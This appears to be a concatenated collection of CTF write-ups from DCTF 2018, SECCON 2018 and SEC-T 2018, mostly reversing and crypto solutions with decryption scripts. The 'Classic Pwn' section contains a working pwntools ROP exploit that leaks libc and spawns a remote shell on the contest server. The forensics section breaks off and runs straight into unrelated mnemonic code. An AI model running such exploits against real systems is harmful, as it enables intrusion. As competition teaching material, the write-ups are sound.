"c7cd26b4f506085c2e954d7e290f179d": "j", 202 | "3b35be578493524a2249888e71a8a3a7": "k", 203 | "e65573b6babfcdc16045c91e88aed749": "l", 204 | "e8c1e678e4902e12b83f8f75b1409933": "m", 205 | "0b3dfc575614989f78f220e037543e55": "n", 206 | "c1c2eae083eab5a8558b77a834988c4f": "o", 207 | "8aceb753526e4ba898c5f343fd868e9e": "p", 208 | "788bd3e083dda7e1459f9bd1b79990bf": "q", 209 | "aea7c77980b7a22764702f2e173384b9": "r", 210 | "7f0b16b72a9a64b957d6d8f3945508b6": "s", 211 | "df6d46fb7df61c19d995430432970d55": "t", 212 | "e67ec66f53b6924402cdc907d27deeda": "u", 213 | "8af7278d5700c86e901628704741f0eb": "v", 214 | "ed3554a4707539dc61c10661edda8aea": "w", 215 | "d3135c717071ba3bf410d74caa62bb6d": "x", 216 | "5a1cdc7e29df2bc486df10990cf81579": "y", 217 | "5a1cdc7e29df2bc486df10990cf81579": "z", 218 | "0061f1f351a4cddda4257550dc7d3000": "1", 219 | "1e14bf5fdcbf5ec3945729ed48110d23": "2", 220 | "c97a9650ef8edf91d8c20734ec20112e": "3", 221 | "0614aebdc5c356c2ca0f192c8f6880cb": "4", 222 | "e4ad919d695a4ec3da99398d075aa21b": "5", 223 | "daa65a87e8a3d171b4d141c1ba716e49": "6", 224 | "2933a2c8540feca890144972daad94c4": "7", 225 | "cfff0050c0b39cf3bdde5a373b96b8a1": "8", 226 | "75ac02c02f1f132e6c7314cad02f17cd": "9", 227 | "fc496ce3c3e2e04604c375f7edc3cbc4": "0", 228 | "2460ca5292277ff9076ab2c34a12f583": "_", 229 | "0b3dfc575614989f78f220e037543e55": "{", 230 | "44e18699a27596eddd71b7920a04864b": "}", 231 | ``` 232 | 233 | 6. Finally, use the table to substitute the string in step.5, any character missing will shown as `^`. 234 | ``` 235 | DCT^{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c} 236 | Lossing key: 237 | {'73747265616d4963545f4553355f6300'} 238 | ``` 239 | 240 | 7. One character is missing, I guess it's `F`, subsitute it and it's correct! 241 | 242 | ### Exploit 243 | ```python 244 | #!/usr/bin/env python3 245 | import binascii 246 | 247 | hex1 = "0061f1f351a4cddda4257550dc7d3000" 248 | hex2 = "cfff0050c0b39cf3bdde5a373b96b8a1" 249 | 250 | license = "" 251 | 252 | encode_table = { 253 | # omitted here 254 | } 255 | 256 | with open('memsom', 'rb') as b: 257 | with open('offsets', 'r') as f: 258 | for line in f.readlines(): 259 | _, offset = line.split() 260 | if offset == "hex1" or offset == "hex2": 261 | license += eval(offset) 262 | else: 263 | offset = int(offset[2:], 16) 264 | b.seek(offset) 265 | data = b.read(16) 266 | license += binascii.b2a_hex(data).decode() 267 | 268 | ss = set() 269 | print(len(license)) 270 | for i in range(0, len(license), 32): 271 | print(license[i:i+32]) 272 | 273 | for i in range(0, len(license), 32): 274 | try: 275 | print(encode_table[license[i:i+32]], end="") 276 | except KeyError: 277 | print("^", end="") 278 | ss.add(license[i:i+32]) 279 | print("\nLossing key:") 280 | print(ss) 281 | 282 | ``` 283 | 284 | ### Flag 285 | ``` 286 | DCTF{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c} 287 | ``` 288 | -------------------------------------------------------------------------------- /dctf-2018/ransomware.md: -------------------------------------------------------------------------------- 1 | ## Ransomware (Reverse) 2 | 3 | ### Solution 4 | 5 | Unzip the file and get `youfool!.exe` and `ransomware.pyc`. 6 | The exe file doesn't seems to be a real executable, use uncompyle6 decompile `ransomware.pyc` first: 7 | ```python 8 | # uncompyle6 version 3.2.3 9 | # Python bytecode 2.7 (62211) 10 | # Decompiled from: Python 3.7.0 (default, Sep 15 2018, 19:13:07) 11 | # [GCC 8.2.1 20180831] 12 | # Embedded file name: ransomware.py 13 | # Compiled at: 2018-09-04 21:35:11 14 | import string 15 | from random import * 16 | import itertools 17 | 18 | def caesar_cipher(inp, code): 19 | code = code * (len(inp) / len(code) + 1) 20 | return ('').join((chr(ord(i) ^ ord(j)) for i, j in itertools.izip(inp, code))) 21 | 22 | 23 | f = open('./FlagDCTF.pdf', 'r') 24 | buf = f.read() 25 | f.close() 26 | allchar = string.ascii_letters + string.punctuation + string.digits 27 | password = ('').join((choice(allchar) _ in range(60))) 28 | buf = caesar_cipher(buf, password) 29 | f = open('./youfool!.exe', 'w') 30 | buf = f.write(buf) 31 | f.close() 32 | ``` 33 | The code is already clean up a bit, apparently, a pdf is XORed with the random string to generate the exe file, and we have to recover the pdf. 34 | 35 | The `password` has 60 bytes and it's difficult to bruteforce, but we can infer some bytes first based on the PDF file structure. There are many documents on the web, just search for them and started from the header and the trailer part, then try to find some text frgaments, keep extend them and we're done. 36 | 37 | The final recover script: 38 | ```python 39 | #!/usr/bin/env python3 40 | 41 | def decode(cipher, code): 42 | code = code * (len(cipher) // len(code) + 1) 43 | return b"".join((bytes((i ^ ord(j),)) for i, j in zip(cipher, code))) 44 | 45 | def dump(buf, offset, len): 46 | print(offset, end=" ") 47 | for i in range(len): 48 | print(hex(ord(buf[offset+i])), end=", ") 49 | print() 50 | 51 | with open("youfool!.exe", "rb") as f: 52 | buf = f.read() 53 | 54 | passwd = ['a' for _ in range(60)] 55 | passwd[0] = chr(buf[0] ^ ord('%')) 56 | passwd[1] = chr(buf[1] ^ ord('P')) 57 | passwd[2] = chr(buf[2] ^ ord('D')) 58 | passwd[3] = chr(buf[3] ^ ord('F')) 59 | passwd[4] = chr(buf[4] ^ ord('-')) 60 | passwd[5] = chr(buf[5] ^ ord('1')) 61 | passwd[6] = chr(buf[6] ^ ord('.')) 62 | passwd[7] = chr(buf[10507] ^ ord('e')) # /Type 63 | passwd[8] = chr(buf[1388] ^ ord('e')) # /Filter 64 | passwd[9] = chr(buf[1389] ^ ord('r')) 65 | passwd[10] = chr(buf[8470] ^ ord('t')) # /Length 66 | passwd[11] = chr(buf[8471] ^ ord('h')) 67 | passwd[12] = chr(buf[8832] ^ ord('e')) # /Filter 68 | passwd[13] = chr(buf[8833] ^ ord('r')) 69 | passwd[14] = chr(buf[254] ^ ord('t')) # /Filter 70 | passwd[15] = chr(buf[255] ^ ord('e')) 71 | passwd[16] = chr(buf[256] ^ ord('r')) 72 | passwd[17] = chr(buf[1397] ^ ord('D')) # /FlateDecode 73 | passwd[18] = chr(buf[1398] ^ ord('e')) 74 | passwd[19] = chr(buf[1399] ^ ord('c')) 75 | passwd[20] = chr(buf[1400] ^ ord('o')) 76 | passwd[21] = chr(buf[1401] ^ ord('d')) 77 | passwd[22] = chr(buf[1402] ^ ord('e')) 78 | passwd[23] = chr(buf[983] ^ ord('a')) # /Image 79 | passwd[24] = chr(buf[984] ^ ord('g')) 80 | passwd[25] = chr(buf[985] ^ ord('e')) 81 | 82 | passwd[26] = chr(buf[1406] ^ ord('e')) # /Length 83 | passwd[27] = chr(buf[1407] ^ ord('n')) 84 | 85 | passwd[28] = chr(buf[988] ^ ord('/')) # /Image 86 | passwd[29] = chr(buf[989] ^ ord('I')) 87 | passwd[30] = chr(buf[990] ^ ord('m')) 88 | 89 | passwd[31] = chr(buf[1051] ^ ord('/')) # /Flate 90 | passwd[32] = chr(buf[1052] ^ ord('F')) 91 | passwd[33] = chr(buf[10053] ^ ord('/')) # /Resources 92 | passwd[34] = chr(buf[10054] ^ ord('R')) 93 | passwd[35] = chr(buf[10055] ^ ord('e')) 94 | passwd[36] = chr(buf[9996] ^ ord('/')) # /Contents 95 | passwd[37] = chr(buf[9997] ^ ord('C')) 96 | passwd[38] = chr(buf[9998] ^ ord('o')) 97 | passwd[39] = chr(buf[1419] ^ ord('/')) # /Length 98 | passwd[40] = chr(buf[1420] ^ ord('L')) 99 | pad = len(buf) % 60 # pad = 47 100 | passwd[pad-6] = chr(buf[-6] ^ ord('%')) 101 | passwd[pad-5] = chr(buf[-5] ^ ord('%')) 102 | passwd[pad-4] = chr(buf[-4] ^ ord('E')) 103 | passwd[pad-3] = chr(buf[-3] ^ ord('O')) 104 | passwd[pad-2] = chr(buf[-2] ^ ord('F')) 105 | passwd[pad-1] = chr(buf[-1] ^ 0x0a) 106 | passwd[47] = chr(buf[1067] ^ ord('n')) # /Length 107 | passwd[48] = chr(buf[1068] ^ ord('g')) 108 | passwd[49] = chr(buf[1069] ^ ord('t')) 109 | passwd[50] = chr(buf[1070] ^ ord('h')) 110 | passwd[51] = chr(buf[10551] ^ ord('o')) # /DecodeParms 111 | passwd[-8] = chr(buf[892] ^ ord('/')) # /Resources 112 | passwd[-7] = chr(buf[893] ^ ord('R')) 113 | passwd[-6] = chr(buf[9534] ^ ord('/')) # /Resource 114 | passwd[-5] = chr(buf[9535] ^ ord('R')) 115 | passwd[-4] = chr(buf[9536] ^ ord('e')) 116 | passwd[-3] = chr(buf[9537] ^ ord('s')) 117 | passwd[-2] = chr(buf[9538] ^ ord('o')) 118 | passwd[-1] = chr(buf[9539] ^ ord('u')) 119 | 120 | passwd = "".join(passwd) 121 | plain = decode(buf, passwd) 122 | with open("out.pdf", "wb+") as f: 123 | f.write(plain) 124 | 125 | for i in range(len(plain)//60 + 1): 126 | print(i*60, plain[i*60:i*60+60]) 127 | ``` 128 | 129 | But the recoverd pdf seems still destroyed, it lacks of xref section, and can't opened by readers, I try to use `qpdf` to recover the file and finally success. 130 | ``` 131 | $ qpdf --qdf --object-streams=disable out.pdf new.pdf 132 | ``` 133 | 134 | Open the new pdf and you'll see the flag. 135 | 136 | ### Flag 137 | ``` 138 | DCTF{d915b5e076215c3efb92e5844ac20d0620d19b15d427e207fae6a3b894f91333} 139 | ``` 140 | -------------------------------------------------------------------------------- /seccon-2018/README.md: -------------------------------------------------------------------------------- 1 | # SECCON 2018 Online CTF 2 | 3 | Team : 10sec 4 | 5 | * [..](./../) 6 | * Reversing 7 | * [Special Instructions (61 solves)](./spins.md) 8 | * [Special Device File (75 solves)](./spdev.md) 9 | * [Runme (352 solves)](./runme.md) 10 | * Pwn 11 | * [Classic Pwn (197 solves)](./classic.md) 12 | * Media 13 | * [Needle in a haystack (41 solves)](./needle.md) 14 | * Forensics 15 | * [History (147 solves)](./history.md) 16 | * Crypto 17 | * [Boguscrypt (125 solves)](./boguscrypt.md) 18 | * [Mnemonic (62 solves)](./mnemonic.md) 19 | -------------------------------------------------------------------------------- /seccon-2018/boguscrypt.md: -------------------------------------------------------------------------------- 1 | ## Boguscrypt (Crypto) 2 | 3 | ### Solution 4 | 5 | Decompile the binary and get 6 | ```c 7 | int __cdecl main(int argc, const char **argv, const char **envp) { 8 | int result; // eax 9 | int key; // [esp+18h] [ebp-207Ch] 10 | struct stat stat; // [esp+34h] [ebp-2060h] 11 | char encrypted_flag[512]; // [esp+8Ch] [ebp-2008h] 12 | char buf[2048]; // [esp+88Ch] [ebp-1808h] 13 | char v16[512]; // [esp+108Ch] [ebp-1008h] 14 | char hostname_rev[2048]; // [esp+188Ch] [ebp-808h] 15 | 16 | printf("Key?:"); 17 | __isoc99_scanf("%s", key); 18 | int addr = 33554559; // 127.0.0.2 19 | struct hostent *host = gethostbyaddr(&addr, 4u, AF_INET); 20 | if ( host ) { 21 | const char *hostname = host->h_name; 22 | int hostname_len = strlen(hostname); 23 | for (int i = 0; i < hostname_len; ++i ) 24 | hostname_rev[hostname_len - i - 1] = hostname[i]; 25 | memset(encrypted_flag, 0, 0x800u); 26 | memset(buf, 0, 0x800u); 27 | memset(v16, 0, 0x800u); 28 | int fd = open("flag.txt.encrypted", O_RDWR); 29 | fstat(fd, &stat); 30 | size_t len = stat.st_size; 31 | read(fd, encrypted_flag, stat.st_size); 32 | close(fd); 33 | len = strlen(encrypted_flag); 34 | dec(encrypted_flag, buf, len, hostname_rev); 35 | fd = open("flag.txt", 66, 0600); 36 | write(fd, buf, len); 37 | close(fd); 38 | result = dec(buf, v16, 2048, "abc"); 39 | } 40 | else { 41 | herror("gethostbyaddr"); 42 | result = 1; 43 | } 44 | return result; 45 | } 46 | 47 | int __cdecl dec(char *s1, char *s2, int length, char *key) { 48 | int result; // eax 49 | 50 | int len = strlen(key); 51 | for (int i = 0; ; ++i ) { 52 | result = i; 53 | if ( i >= length ) 54 | break; 55 | s2[i] = s1[i] ^ key[i % len]; 56 | } 57 | return result; 58 | } 59 | ``` 60 | The program will get the hostname of `127.0.0.2`, reverse the hostname then xor with flag to encrypted the flag, thus we have to know the hostname to decrypt the flag. 61 | 62 | We're also given a pcap, analyze it and will found a strange string `cur10us4ndl0ngh0stn4m3` inside a DNS packet. 63 | Try to using it as the hostname to decrypt the flag: 64 | ```python 65 | #!/usr/bin/env python3 66 | 67 | hostname = b"cur10us4ndl0ngh0stn4m3" 68 | 69 | with open("./flag.txt.encrypted", "rb") as f: 70 | flag = f.read() 71 | 72 | hostname = hostname[::-1] 73 | l = len(hostname) 74 | for i in range(len(flag)): 75 | print(chr(flag[i] ^ hostname[i % l]), end="") 76 | ``` 77 | 78 | The output is `SECCON{This flag is encoded by bogus routine}`. 79 | -------------------------------------------------------------------------------- /seccon-2018/classic.md: -------------------------------------------------------------------------------- 1 | ## Classic Pwn (Pwn) 2 | 3 | ### Solution 4 | The program use `gets()` to read input into a stack buffer, there's no canary, so we can easily use ROP to leak libc and spawn a shell. 5 | 6 | ```python 7 | #!/usr/bin/env python3 8 | 9 | from pwn import * 10 | context(arch="amd64", terminal=["tmux", "neww"]) 11 | 12 | b = ELF("./classic") 13 | libc = ELF("./libc-2.23.so") 14 | rop = ROP(b) 15 | 16 | one_gadget = 0x45216 17 | 18 | payload = b"a" * 72 19 | payload += p64(rop.rdi.address) # puts@plt(puts@got) 20 | payload += p64(b.got[b'puts']) 21 | payload += p64(b.plt[b'puts']) 22 | payload += p64(b.symbols[b'main']) 23 | 24 | #r = process("./classic") 25 | r = remote("classic.pwn.seccon.jp", 17354) 26 | r.sendline(payload) 27 | r.recvuntil("!!\n") 28 | puts = u64(r.recv(6).ljust(8, b"\x00")) 29 | 30 | payload = b"a" * 72 31 | payload += p64(puts - libc.symbols[b'puts'] + one_gadget) 32 | r.sendline(payload) 33 | 34 | r.interactive() 35 | ``` 36 | -------------------------------------------------------------------------------- /seccon-2018/history.md: -------------------------------------------------------------------------------- 1 | ## History (Forensics) 2 | 3 | ### Solution 4 | 5 | ``` 6 | $ unzip J.zip 7 | $ binwalk J 8 | DECIMAL HEXADECIMAL DESCRIPTION 9 | -------------------------------------------------------------------------------- 10 | 3912330 0x3BB28A ARJ archive data, header size: 22472, version 1, minimum version to extract: 1, compression method: stored, file type: binary, original name: "1", original file date: 1970-01-01 00:00:00, compressed file size: 538968064, uncompressed file size: 1441792, os: MS-DOS 11 | ``` 12 | 13 | Since MS-DOS stores data in 16bits little endian, append `-el` to `strings` for searching, let's try some keywords: 14 | ``` 15 | $ strings -el J | rg "SEC" 16 | $ strings -el J | rg "CON" 17 | ``` 18 | 19 | And will find something like, 20 | ``` 21 | ] 39 | 40 | lg = Mnemonic("japanese") 41 | 42 | for i in l: 43 | s = i+" とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる" 44 | if lg.to_seed(s).hex().startswith('e9a'): 45 | print(s) 46 | break 47 | ``` 48 | 49 | The first word of mnemonic is 「はいれつ」, now we have to tranform mnemonic codes back to entropy. 50 | ```python 51 | l = [] 52 | m = "はいれつ とかす なおす よけい ちいさい さんらん けむり ていど かがく とかす そあく きあい ぶどう こうどう ねみみ にあう ねんぐ ひねる おまいり いちじ ぎゅうにく みりょく ろしゅつ あつめる".split(" ") 53 | list1=[] 54 | for i in m: 55 | list1.append(l.index(i)) 56 | print(list1) 57 | ``` 58 | The output list is `[1543, 1333, 1376, 1953, 1173, 777, 570, 1262, 337, 1333, 995, 375, 1706, 616, 1485, 1404, 1495, 1644, 297, 91, 444, 1844, 2030, 24]` 59 | Since each number is represeted by 11 bits, so we have to add some padding to trasform back to the original hexstring. 60 | ```python 61 | s = [1543,1333,1376,1953,1173,777,570,1262,337,1333,995,375,1706,616,1485,1404,1495,1644,297,91,444,1844,2030,24] 62 | 63 | b = "".join([bin(c)[2:].rjust(11, '0') for c in s]) 64 | 65 | b = "".join([hex(int(b[i:i+4], 2))[2:] for i in range(0, len(b), 4)]) 66 | print(b) 67 | ``` 68 | 69 | Finally, we get `c0f4d6b07a192ac251d4ee2a34d5f1977d549a2e6d7cbaf9b09485b379cd3f7018`, And the flag is `SECCON{cda2cb1742d1b6fc21d05c879c263eec}` 70 | -------------------------------------------------------------------------------- /seccon-2018/runme.md: -------------------------------------------------------------------------------- 1 | ## Runme (Reverse) 2 | 3 | ### Solution 4 | 5 | All you have to do is 6 | ``` 7 | $ strings runme 8 | ... 9 | BRjS 10 | BRjE 11 | BRjC 12 | BRjC 13 | BRjO 14 | BRjN 15 | BRj2 16 | BRj0 17 | BRj1 18 | BRj8 19 | BRjO 20 | BRjn 21 | BRjl 22 | BRji 23 | BRjn 24 | BRje 25 | BRj. 26 | BRje 27 | BRjx 28 | BRje 29 | BRj" 30 | BRj 31 | BRjS 32 | BRjE 33 | BRjC 34 | BRjC 35 | BRjO 36 | BRjN 37 | BRj{ 38 | BRjR 39 | BRju 40 | BRjn 41 | BRjn 42 | BRj1 43 | BRjn 44 | BRj6 45 | BRj_ 46 | BRjP 47 | BRj4 48 | BRj7 49 | BRjh 50 | BRj}^ 51 | ... 52 | ``` 53 | 54 | And the flag is `SECCON{Runn1n6_P47h}`. 55 | -------------------------------------------------------------------------------- /seccon-2018/spdev.md: -------------------------------------------------------------------------------- 1 | ## Special Device File (Reverse) 2 | 3 | ### Solution 4 | 5 | This challenge is similar to [Special Instruction](./spins.md), but the binary is AArch64 ELF, thus we can use decompiler this time. 6 | 7 | ```c 8 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 9 | { 10 | unsigned int fd; // w21 MAPDST 11 | char *flag_buf; // x0 12 | __int64 seed; // [xsp+28h] [xbp-8h] 13 | 14 | seed = 0x139408DCBBF7A44LL; 15 | fd = _open("/dev/xorshift64", 1LL, 0LL); 16 | _write(); 17 | _close(fd); 18 | fd = _open("/dev/xorshift64", 0LL, 0LL); 19 | flag_buf = decode(&flag, &randval, fd); 20 | puts(1LL, flag_buf); 21 | puts(1LL, "\n"); 22 | _close(fd); 23 | exit(0LL); 24 | } 25 | 26 | char *__fastcall decode(char *flag, char *key, unsigned int rng) 27 | { 28 | char *p; // x21 29 | __int64 i; // x3 30 | 31 | if ( *flag ) 32 | { 33 | p = flag; 34 | i = 0LL; 35 | do 36 | { 37 | *p ^= get_random_value(rng) ^ key[i]; 38 | ++i; 39 | ++p 40 | } 41 | while ( flag[i] ); 42 | } 43 | return flag; 44 | } 45 | ``` 46 | 47 | It's pretty simple. In `main` it will open `/dev/xorshift64`, write something then close it, IDA didn't correctly infer the argument here, we can assume it writes `0x139408DCBBF7A44LL` to the device, which is the seed of the RNG. 48 | 49 | And then, in the `decode` function, a global encrypted `flag`(`0x1800`) will perform XOR with `randval`(`0x1820`) and `get_random_value`. Simply extract these bytes and simulate the RNG, then we can decrypt the flag. 50 | 51 | Again, I spent many time on finding the correct version of xorshift64, and finally found it on [Japanese Wikipedia](https://ja.wikipedia.org/wiki/Xorshift). 52 | 53 | ```python 54 | #!/usr/bin/env python3 55 | 56 | seed = 0x139408DCBBF7A44 57 | mask = 0xFFFFFFFFFFFFFFFF 58 | 59 | def get_rand(): 60 | global seed 61 | seed ^= (seed << 13) & mask 62 | seed ^= (seed >> 7) & mask 63 | seed ^= (seed << 17) & mask 64 | return seed 65 | 66 | with open('runme', 'rb') as f: 67 | f.seek(0x1800) 68 | flag = f.read(0x20) 69 | f.seek(0x1820) 70 | randval = f.read(0x20) 71 | 72 | for i in range(32): 73 | r = get_rand() 74 | print(chr((flag[i] ^ randval[i] ^ r) & 0xFF), end="") 75 | ``` 76 | 77 | The flag is `SECCON{UseTheSpecialDeviceFile}` 78 | -------------------------------------------------------------------------------- /seccon-2018/spins.md: -------------------------------------------------------------------------------- 1 | ## Special Instructions (Reverse) 2 | 3 | ### Solution 4 | 5 | `file` the binary, notice that it's unknown architecture. 6 | ``` 7 | $ file runme 8 | runme: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped 9 | ``` 10 | 11 | Use `readelf` instead 12 | ``` 13 | $ readelf -h runme 14 | ELF Header: 15 | Magic: 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 16 | Class: ELF32 17 | Data: 2's complement, big endian 18 | Version: 1 (current) 19 | OS/ABI: UNIX - System V 20 | ABI Version: 0 21 | Type: EXEC (Executable file) 22 | Machine: Moxie 23 | Version: 0x1 24 | Entry point address: 0x1400 25 | Start of program headers: 52 (bytes into file) 26 | Start of section headers: 1936 (bytes into file) 27 | Flags: 0x0 28 | Size of this header: 52 (bytes) 29 | Size of program headers: 32 (bytes) 30 | Number of program headers: 3 31 | Size of section headers: 40 (bytes) 32 | Number of section headers: 9 33 | Section header string table index: 8 34 | ``` 35 | 36 | It outputs the architecture is [Moxie](http://moxielogic.org/blog/). 37 | 38 | I've tried `qemu-system-moxie` to run this file, but it hangs after started. Then I compiled `binutils` for target `moxie-unknown-elf`. 39 | 40 | Now, use `objdump` and `nm` to get some infromation. 41 | ``` 42 | 0000154a : 43 | 154a: 16 20 bad 44 | 154c: 04 00 ret 45 | 46 | 0000154e : 47 | 154e: 17 20 bad 48 | 1550: 04 00 ret 49 | 50 | 00001552 : 51 | 1552: 06 18 push $sp, $r6 52 | 1554: 06 19 push $sp, $r7 53 | 1556: 06 1a push $sp, $r8 54 | 1558: 06 1b push $sp, $r9 55 | 155a: 06 1c push $sp, $r10 56 | 155c: 06 1d push $sp, $r11 57 | 155e: 91 18 dec $sp, 0x18 58 | 1560: 02 d2 mov $r11, $r0 59 | 1562: 1c 42 ld.b $r2, ($r0) 60 | 1564: 2e 22 xor $r0, $r0 61 | 1566: 0e 42 cmp $r2, $r0 62 | 1568: c0 12 beq 158e 63 | 156a: 02 a3 mov $r8, $r1 64 | 156c: 02 9d mov $r7, $r11 65 | 156e: 01 c0 00 00 ldi.l $r10, 0x154e 66 | 1572: 15 4e 67 | 1574: 1c 8a ld.b $r6, ($r8) 68 | 1576: 2e 22 xor $r0, $r0 69 | 1578: 19 c0 jsr $r10 70 | 157a: 2e 82 xor $r6, $r0 71 | 157c: 1c 29 ld.b $r0, ($r7) 72 | 157e: 2e 82 xor $r6, $r0 73 | 1580: 1e 98 st.b ($r7), $r6 74 | 1582: 89 01 inc $r7, 0x1 75 | 1584: 8a 01 inc $r8, 0x1 76 | 1586: 1c 39 ld.b $r1, ($r7) 77 | 1588: 2e 22 xor $r0, $r0 78 | 158a: 0e 32 cmp $r1, $r0 79 | 158c: c7 f3 bne 1574 80 | 158e: 02 2d mov $r0, $r11 81 | 1590: 02 e0 mov $r12, $fp 82 | 1592: 9e 18 dec $r12, 0x18 83 | 1594: 07 ed pop $r12, $r11 84 | 1596: 07 ec pop $r12, $r10 85 | 1598: 07 eb pop $r12, $r9 86 | 159a: 07 ea pop $r12, $r8 87 | 159c: 07 e9 pop $r12, $r7 88 | 159e: 07 e8 pop $r12, $r6 89 | 15a0: 04 00 ret 90 | 91 | 000015a2
: 92 | 15a2: 06 18 push $sp, $r6 93 | 15a4: 91 18 dec $sp, 0x18 94 | 15a6: 01 20 92 d6 ldi.l $r0, 0x92d68ca2 95 | 15aa: 8c a2 96 | 15ac: 03 00 00 00 jsra 154a 97 | 15b0: 15 4a 98 | 15b2: 01 80 00 00 ldi.l $r6, 0x1480 99 | 15b6: 14 80 100 | 15b8: 01 20 00 00 ldi.l $r0, 0x1 101 | 15bc: 00 01 102 | 15be: 01 30 00 00 ldi.l $r1, 0x1654 103 | 15c2: 16 54 104 | 15c4: 19 80 jsr $r6 105 | 15c6: 01 20 00 00 ldi.l $r0, 0x1 106 | 15ca: 00 01 107 | 15cc: 01 30 00 00 ldi.l $r1, 0x1680 108 | 15d0: 16 80 109 | 15d2: 19 80 jsr $r6 110 | 15d4: 01 20 00 00 ldi.l $r0, 0x1 111 | 15d8: 00 01 112 | 15da: 01 30 00 00 ldi.l $r1, 0x169c 113 | 15de: 16 9c 114 | 15e0: 19 80 jsr $r6 115 | 15e2: 01 20 00 00 ldi.l $r0, 0x1 116 | 15e6: 00 01 117 | 15e8: 01 30 00 00 ldi.l $r1, 0x16ac 118 | 15ec: 16 ac 119 | 15ee: 19 80 jsr $r6 120 | 15f0: 01 20 00 00 ldi.l $r0, 0x1 121 | 15f4: 00 01 122 | 15f6: 01 30 00 00 ldi.l $r1, 0x16c4 123 | 15fa: 16 c4 124 | 15fc: 19 80 jsr $r6 125 | 15fe: 01 20 00 00 ldi.l $r0, 0x1 126 | 1602: 00 01 127 | 1604: 01 30 00 00 ldi.l $r1, 0x16e0 128 | 1608: 16 e0 129 | 160a: 19 80 jsr $r6 130 | 160c: 01 20 00 00 ldi.l $r0, 0x1800 131 | 1610: 18 00 132 | 1612: 01 30 00 00 ldi.l $r1, 0x1820 133 | 1616: 18 20 134 | 1618: 03 00 00 00 jsra 1552 135 | 161c: 15 52 136 | 161e: 02 32 mov $r1, $r0 137 | 1620: 01 20 00 00 ldi.l $r0, 0x1 138 | 1624: 00 01 139 | 1626: 19 80 jsr $r6 140 | 1628: 01 20 00 00 ldi.l $r0, 0x1 141 | 162c: 00 01 142 | 162e: 01 30 00 00 ldi.l $r1, 0x167c 143 | 1632: 16 7c 144 | 1634: 19 80 jsr $r6 145 | 1636: 2e 22 xor $r0, $r0 146 | 1638: 03 00 00 00 jsra 144a 147 | 163c: 14 4a 148 | ``` 149 | 150 | There are two special functions, `set_random_seed` and `get_random_value`, which contains `bad` instructions. 151 | 152 | I `strings` the file later and found some descriptions. 153 | ``` 154 | $ strings runme 155 | ,.U7 156 | 0123456789abcdef 157 | This program uses special instructions. 158 | SETRSEED: (Opcode:0x16) 159 | RegA -> SEED 160 | GETRAND: (Opcode:0x17) 161 | xorshift32(SEED) -> SEED 162 | SEED -> RegA 163 | GCC: (GNU) 4.9.4 164 | moxie-elf.c 165 | ``` 166 | 167 | Now, with these information we can manually decompile the program. 168 | ```c 169 | #define SYS_stdout 1 170 | 171 | char *flag = (char *)0x1800; 172 | char *ranval = (char *)0x1820; 173 | 174 | int main() { 175 | set_random_seed(0x92d68ca2); 176 | puts(SYS_stdout, 0x1654); 177 | puts(SYS_stdout, 0x1680); 178 | puts(SYS_stdout, 0x169c); 179 | puts(SYS_stdout, 0x16ac); 180 | puts(SYS_stdout, 0x16c4); 181 | puts(SYS_stdout, 0x16e0); 182 | puts(SYS_stdout, decode(flag, randval)); 183 | puts(SYS_stdout, 0x167c); 184 | exit(0); 185 | } 186 | 187 | char *decode(char *a, char *b) { 188 | char *pa = a; 189 | char *pb = b; 190 | if(a[0] == 0) return 0; 191 | for(;*pa; pa++, pb++) { 192 | *pa ^= *pb ^ get_random_value(); 193 | } 194 | return a; 195 | } 196 | ``` 197 | 198 | It's clear that `flag` will be xored with `randval` and a random value comes from `get_random_value()`, which is a xorshift32 PRNG. 199 | 200 | So I write a script simulate the PRNG to decrypt the flag. 201 | 202 | But... I've been spending more than one hours and can't get the flag, the generated sequence of my RNG isn't identical to the problem. Finally I notice that there's a version of pseudocode with different shifts on [Japanese Wikipedia](https://ja.wikipedia.org/wiki/Xorshift), I tried this version and successfully get the flag... 203 | 204 | 205 | ```python 206 | #!/usr/bin/env python3 207 | 208 | seed = 0x92d68ca2 209 | mask = 0xFFFFFFFF 210 | 211 | def get_rand(): 212 | global seed 213 | seed ^= (seed << 13) & mask 214 | seed ^= (seed >> 17) & mask 215 | seed ^= (seed << 15) & mask 216 | return seed 217 | 218 | with open('runme', 'rb') as f: 219 | f.seek(0x384) 220 | flag = f.read(0x20) 221 | f.seek(0x3a4) 222 | randval = f.read(0x20) 223 | 224 | for i in range(32): 225 | r = get_rand() & 0xFF 226 | print(chr((flag[i] ^ randval[i] ^ r)), end="") 227 | ``` 228 | 229 | The flag is `SECCON{MakeSpecialInstructions}` 230 | -------------------------------------------------------------------------------- /sect-2018/README.md: -------------------------------------------------------------------------------- 1 | # SEC-T CTF 2018 2 | 3 | Team : 10sec 4 | 5 | * [..](./../) 6 | * rev 7 | * [Ez dos](./ezdos.md) 8 | * misc 9 | * [Puppetmatroyshka](./puppetmatroyshka.md) 10 | * [Shredder](./shredder.md) 11 | -------------------------------------------------------------------------------- /sect-2018/ezdos.md: -------------------------------------------------------------------------------- 1 | ## Ez dos (rev) 2 | 3 | ### Solution 4 | 5 | We are given a DOS .com file, it will output the flag if the license entered is correct. 6 | Read the disassembly and you will get the constraint : 7 | 8 | ``` 9 | str = "1337SHELL" 10 | input[:4] == str[:4] 11 | input[5] == "-" 12 | input[6] == 0x66 ^ str[5] 13 | input[7] == 0x79 ^ str[6] 14 | input[8] == 0x74 ^ str[7] 15 | input[9] == 0x79 ^ str[8] 16 | 17 | => input == "1337-5115" 18 | ``` 19 | 20 | ### Flag 21 | 22 | ``` 23 | SECT{K3YG3N_MU51C_R0CK5} 24 | ``` 25 | -------------------------------------------------------------------------------- /sect-2018/puppetmatroyshka.md: -------------------------------------------------------------------------------- 1 | ## Puppetmatryoshka 2 | 3 | ### Solution 4 | 5 | ``` 6 | $ tar xvf puppetmatryoshka.tar.gz 7 | $ file matryoshka 8 | matryoshka: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144) 9 | ``` 10 | 11 | Inside the capture file, there are three kismet requests and several tcp requests with longer length. 12 | ![](https://i.imgur.com/19Foo4w.png) 13 | 14 | All data of kismet requests start with `BZh`, which is the header of bz2 format. 